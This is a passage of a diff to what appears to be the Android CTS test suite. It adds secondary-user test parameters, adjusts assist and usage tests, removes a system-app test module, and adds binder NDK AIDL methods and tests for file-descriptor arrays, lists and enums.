-     */
-    @Test
-    @Ignore("b/124445655")
-    public void testAddingSync() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffMethod method = method("syncMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        checkSignatureCompliance(clz, observer);
-        observer.validate();
-    }
-
-    /**
      * Test the case where the API declares the method is synchronized, but it
      * actually is not.
      */
diff --git a/tests/systemAppTest/prebuilts/readme.txt b/tests/systemAppTest/prebuilts/readme.txt
deleted file mode 100644
index f9ba205..0000000
--- a/tests/systemAppTest/prebuilts/readme.txt
+++ /dev/null
@@ -1 +0,0 @@
-This directory will contain signed CtsSystemAppTestCases.apk.
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
deleted file mode 100644
index 0c94019..0000000
--- a/tests/systemAppTest/test/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This module will not be built in normal CTS build
-# TODO: add xml generation for test build
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSystemAppTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 7b9d17d..ea0dacc 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAnimationTestCases.apk" />
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index fa27a0a..71ec3d3 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -24,7 +24,6 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     -->
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
-    <uses-permission android:name="android.permission.SET_TIME" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index 6d21843..a5e780c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -344,10 +344,12 @@
         mUsageStatsManager.reportUsageStart(activity1, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     private void assertAppOrTokenUsed(String entity, boolean expected) throws Exception {
diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index 3c08038..42fcd60 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <!-- Force service to be installed as non-instant mode, always -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f349971..7706bd4 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -24,6 +24,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.graphics.Bitmap;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.os.Bundle;
 import android.os.RemoteCallback;
@@ -187,21 +188,20 @@
         screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
 
         int expectedColor = 0;
-        int wrongColor = 0;
         for (int pixel : pixels) {
-            if (pixel == color) {
+            // Check for roughly the same because there are rounding errors converting from the
+            // screenshot's color space to SRGB, which is what getPixels does.
+            if ((Color.red(pixel) - Color.red(color) < 5)
+                    && (Color.green(pixel) - Color.green(color) < 5)
+                    && (Color.blue(pixel) - Color.blue(color) < 5)) {
                 expectedColor += 1;
-            } else {
-                wrongColor += 1;
             }
         }
 
-        double colorRatio = (double) expectedColor / (expectedColor + wrongColor);
+        int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+        double colorRatio = (double) expectedColor / pixelCount;
         Log.i(TAG, "the ratio is " + colorRatio);
-        if (colorRatio < 0.6) {
-            return false;
-        }
-        return true;
+        return colorRatio >= 0.6;
     }
 
     private void maybeBroadcastResults() {
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index d2b3353..9971f74 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -140,7 +140,12 @@
     protected void tearDown() throws Exception {
         mTestActivity.finish();
         mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
-        m3pCallbackReceiving.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+
+
+        if (m3pActivityCallback != null) {
+            m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+        }
+
         super.tearDown();
         mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
     }
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
index 6cf7ef6..96fa73f 100644
--- a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
@@ -35,11 +35,4 @@
         view.setBackgroundColor(backgroundColor);
         view.requestLayout();
     }
-
-    @Override
-    public void onPause() {
-        Log.i(TAG, "onPause");
-        finish();
-        super.onPause();
-    }
 }
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 364457e..2a1c2c3 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index 7c03291..a1d5808 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -19,6 +19,7 @@
 
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index f0e4006..ad6a1c9 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -32,6 +32,9 @@
         java: {
             sdk_version: "28",
         },
+        cpp: {
+            enabled: false,
+        }
     },
 }
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
similarity index 91%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
index 04e98c5..72d5985 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
@@ -40,6 +40,9 @@
   test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
   String[] RepeatStringArray(in String[] input, out String[] repeated);
   test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
+  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
   @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
   @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
   @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
similarity index 91%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
index 91a5706..891cf0b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
@@ -40,6 +40,9 @@
   test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
   String[] RepeatStringArray(in String[] input, out String[] repeated);
   test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
+  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
   @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
   @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
   @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index a05a259..812eb04 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -172,6 +172,19 @@
     _aidl_return->set(dup(in_value.get()));
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
+
+  ::ndk::ScopedAStatus RepeatFdArray(
+      const std::vector<::ndk::ScopedFileDescriptor>& in_input,
+      std::vector<::ndk::ScopedFileDescriptor>* out_repeated,
+      std::vector<::ndk::ScopedFileDescriptor>* _aidl_return) override {
+    out_repeated->clear();
+    for (auto& fd : in_input) {
+      out_repeated->emplace_back(dup(fd.get()));
+      _aidl_return->emplace_back(dup(fd.get()));
+    }
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
   ::ndk::ScopedAStatus RepeatNullableFd(
       const ::ndk::ScopedFileDescriptor& in_value,
       ::ndk::ScopedFileDescriptor* _aidl_return) override {
@@ -285,6 +298,37 @@
     *_aidl_return = in_value;
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
+
+  ::ndk::ScopedAStatus Repeat2StringList(const std::vector<std::string>& in_input,
+                                         std::vector<std::string>* out_repeated,
+                                         std::vector<std::string>* _aidl_return) override {
+    *out_repeated = std::vector<std::string>();
+    *_aidl_return = std::vector<std::string>();
+    for (int i = 0; i < 2; i++) {
+      for (auto& s : in_input) {
+        out_repeated->emplace_back(s);
+        _aidl_return->emplace_back(s);
+      }
+    }
+
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus Repeat2RegularPolygonList(
+      const std::vector<::aidl::test_package::RegularPolygon>& in_input,
+      std::vector<::aidl::test_package::RegularPolygon>* out_repeated,
+      std::vector<::aidl::test_package::RegularPolygon>* _aidl_return) override {
+    *out_repeated = std::vector<::aidl::test_package::RegularPolygon>();
+    *_aidl_return = std::vector<::aidl::test_package::RegularPolygon>();
+    for (int i = 0; i < 2; i++) {
+      for (auto& s : in_input) {
+        out_repeated->emplace_back(s);
+        _aidl_return->emplace_back(s);
+      }
+    }
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
   ::ndk::ScopedAStatus RepeatNullableBooleanArray(
       const std::optional<std::vector<bool>>& in_value,
       std::optional<std::vector<bool>>* _aidl_return) override {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 011c609..2608830 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -179,66 +179,80 @@
   ASSERT_EQ(std::string("foo"), ITest::kFoo);
 }
 
-TEST_P(NdkBinderTest_Aidl, RepeatPrimitives) {
-  {
-    int32_t out;
-    ASSERT_OK(iface->RepeatInt(3, &out));
-    EXPECT_EQ(3, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveInt) {
+  int32_t out;
+  ASSERT_OK(iface->RepeatInt(3, &out));
+  EXPECT_EQ(3, out);
+}
 
-  {
-    int64_t out;
-    ASSERT_OK(iface->RepeatLong(3, &out));
-    EXPECT_EQ(3, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveLong) {
+  int64_t out;
+  ASSERT_OK(iface->RepeatLong(3, &out));
+  EXPECT_EQ(3, out);
+}
 
-  {
-    float out;
-    ASSERT_OK(iface->RepeatFloat(2.0f, &out));
-    EXPECT_EQ(2.0f, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveFloat) {
+  float out;
+  ASSERT_OK(iface->RepeatFloat(2.0f, &out));
+  EXPECT_EQ(2.0f, out);
+}
 
-  {
-    double out;
-    ASSERT_OK(iface->RepeatDouble(3.0, &out));
-    EXPECT_EQ(3.0, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveDouble) {
+  double out;
+  ASSERT_OK(iface->RepeatDouble(3.0, &out));
+  EXPECT_EQ(3.0, out);
+}
 
-  {
-    bool out;
-    ASSERT_OK(iface->RepeatBoolean(true, &out));
-    EXPECT_EQ(true, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveBoolean) {
+  bool out;
+  ASSERT_OK(iface->RepeatBoolean(true, &out));
+  EXPECT_EQ(true, out);
+}
 
-  {
-    char16_t out;
-    ASSERT_OK(iface->RepeatChar(L'@', &out));
-    EXPECT_EQ(L'@', out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveChar) {
+  char16_t out;
+  ASSERT_OK(iface->RepeatChar(L'@', &out));
+  EXPECT_EQ(L'@', out);
+}
 
-  {
-    int8_t out;
-    ASSERT_OK(iface->RepeatByte(3, &out));
-    EXPECT_EQ(3, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveByte) {
+  int8_t out;
+  ASSERT_OK(iface->RepeatByte(3, &out));
+  EXPECT_EQ(3, out);
+}
 
-  {
-    ByteEnum out;
-    ASSERT_OK(iface->RepeatByteEnum(ByteEnum::FOO, &out));
-    EXPECT_EQ(ByteEnum::FOO, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveByteEnum) {
+  ByteEnum out;
+  ASSERT_OK(iface->RepeatByteEnum(ByteEnum::FOO, &out));
+  EXPECT_EQ(ByteEnum::FOO, out);
+}
 
-  {
-    IntEnum out;
-    ASSERT_OK(iface->RepeatIntEnum(IntEnum::FOO, &out));
-    EXPECT_EQ(IntEnum::FOO, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveIntEnum) {
+  IntEnum out;
+  ASSERT_OK(iface->RepeatIntEnum(IntEnum::FOO, &out));
+  EXPECT_EQ(IntEnum::FOO, out);
+}
 
-  {
-    LongEnum out;
-    ASSERT_OK(iface->RepeatLongEnum(LongEnum::FOO, &out));
-    EXPECT_EQ(LongEnum::FOO, out);
-  }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveLongEnum) {
+  LongEnum out;
+  ASSERT_OK(iface->RepeatLongEnum(LongEnum::FOO, &out));
+  EXPECT_EQ(LongEnum::FOO, out);
+}
+
+TEST_P(NdkBinderTest_Aidl, EnumToString) {
+  EXPECT_EQ(toString(ByteEnum::FOO), "FOO");
+  EXPECT_EQ(toString(IntEnum::BAR), "BAR");
+  EXPECT_EQ(toString(LongEnum::FOO), "FOO");
+
+  EXPECT_EQ(toString(static_cast<IntEnum>(-1)), "-1");
+}
+
+TEST_P(NdkBinderTest_Aidl, EnumValues) {
+  auto range = ::ndk::enum_range<ByteEnum>();
+  auto iter = range.begin();
+  EXPECT_EQ(ByteEnum::FOO, *iter++);
+  EXPECT_EQ(ByteEnum::BAR, *iter++);
+  EXPECT_EQ(range.end(), iter);
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatBinder) {
@@ -304,6 +318,34 @@
   checkInOut(writeFd, readOutFd);
 }
 
+TEST_P(NdkBinderTest_Aidl, RepeatFdArray) {
+  int fds[2];
+
+  while (pipe(fds) == -1 && errno == EAGAIN)
+    ;
+  std::vector<ScopedFileDescriptor> sfds;
+  sfds.emplace_back(fds[0]);
+  sfds.emplace_back(fds[1]);
+
+  std::vector<ScopedFileDescriptor> sfds_out1;
+  sfds_out1.resize(sfds.size());
+  std::vector<ScopedFileDescriptor> sfds_out2;
+
+  ASSERT_OK((iface->RepeatFdArray(sfds, &sfds_out1, &sfds_out2)));
+
+  // sfds <-> sfds_out1
+  checkInOut(sfds[1], sfds_out1[0]);
+  checkInOut(sfds_out1[1], sfds[0]);
+
+  // sfds_out1 <-> sfds_out2
+  checkInOut(sfds_out1[1], sfds_out2[0]);
+  checkInOut(sfds_out2[1], sfds_out1[0]);
+
+  // sfds <-> sfds_out2
+  checkInOut(sfds[1], sfds_out2[0]);
+  checkInOut(sfds_out2[1], sfds[0]);
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
 
 TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
@@ -470,6 +512,23 @@
   }
 }
 
+template <typename T>
+void testRepeat2List(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
+                     std::vector<std::vector<T>> tests) {
+  for (const auto& input : tests) {
+    std::vector<T> out1;
+    std::vector<T> out2;
+    std::vector<T> expected;
+
+    expected.insert(expected.end(), input.begin(), input.end());
+    expected.insert(expected.end(), input.begin(), input.end());
+
+    ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2)) << expected.size();
+    EXPECT_EQ(expected, out1);
+    EXPECT_EQ(expected, out2);
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, Arrays) {
   testRepeat<bool>(iface, &ITest::RepeatBooleanArray,
                    {
@@ -545,6 +604,22 @@
                              });
 }
 
+TEST_P(NdkBinderTest_Aidl, Lists) {
+  testRepeat2List<std::string>(iface, &ITest::Repeat2StringList,
+                               {
+                                   {},
+                                   {"asdf"},
+                                   {"", "aoeu", "lol", "brb"},
+                               });
+  testRepeat2List<RegularPolygon>(
+      iface, &ITest::Repeat2RegularPolygonList,
+      {
+          {},
+          {{"hexagon", 6, 2.0f}},
+          {{"hexagon", 6, 2.0f}, {"square", 4, 7.0f}, {"pentagon", 5, 4.2f}},
+      });
+}
+
 template <typename T>
 using RepeatNullableMethod = ScopedAStatus (ITest::*)(
     const std::optional<std::vector<std::optional<T>>>&,
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index e7a3f64..669f683 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -88,6 +88,11 @@
     LongEnum[] RepeatLongEnumArray(in LongEnum[] input, out LongEnum[] repeated);
     String[] RepeatStringArray(in String[] input, out String[] repeated);
     RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
+    ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+
+    // Lists
+    List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+    List<RegularPolygon> Repeat2RegularPolygonList(in List<RegularPolygon> input, out List<RegularPolygon> repeated);
 
     // Nullable Arrays
     @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
index 7a7e536..ef3ad7a 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
@@ -15,6 +15,9 @@
  */
 #define LOG_TAG "Cts-NdkBinderTest"
 
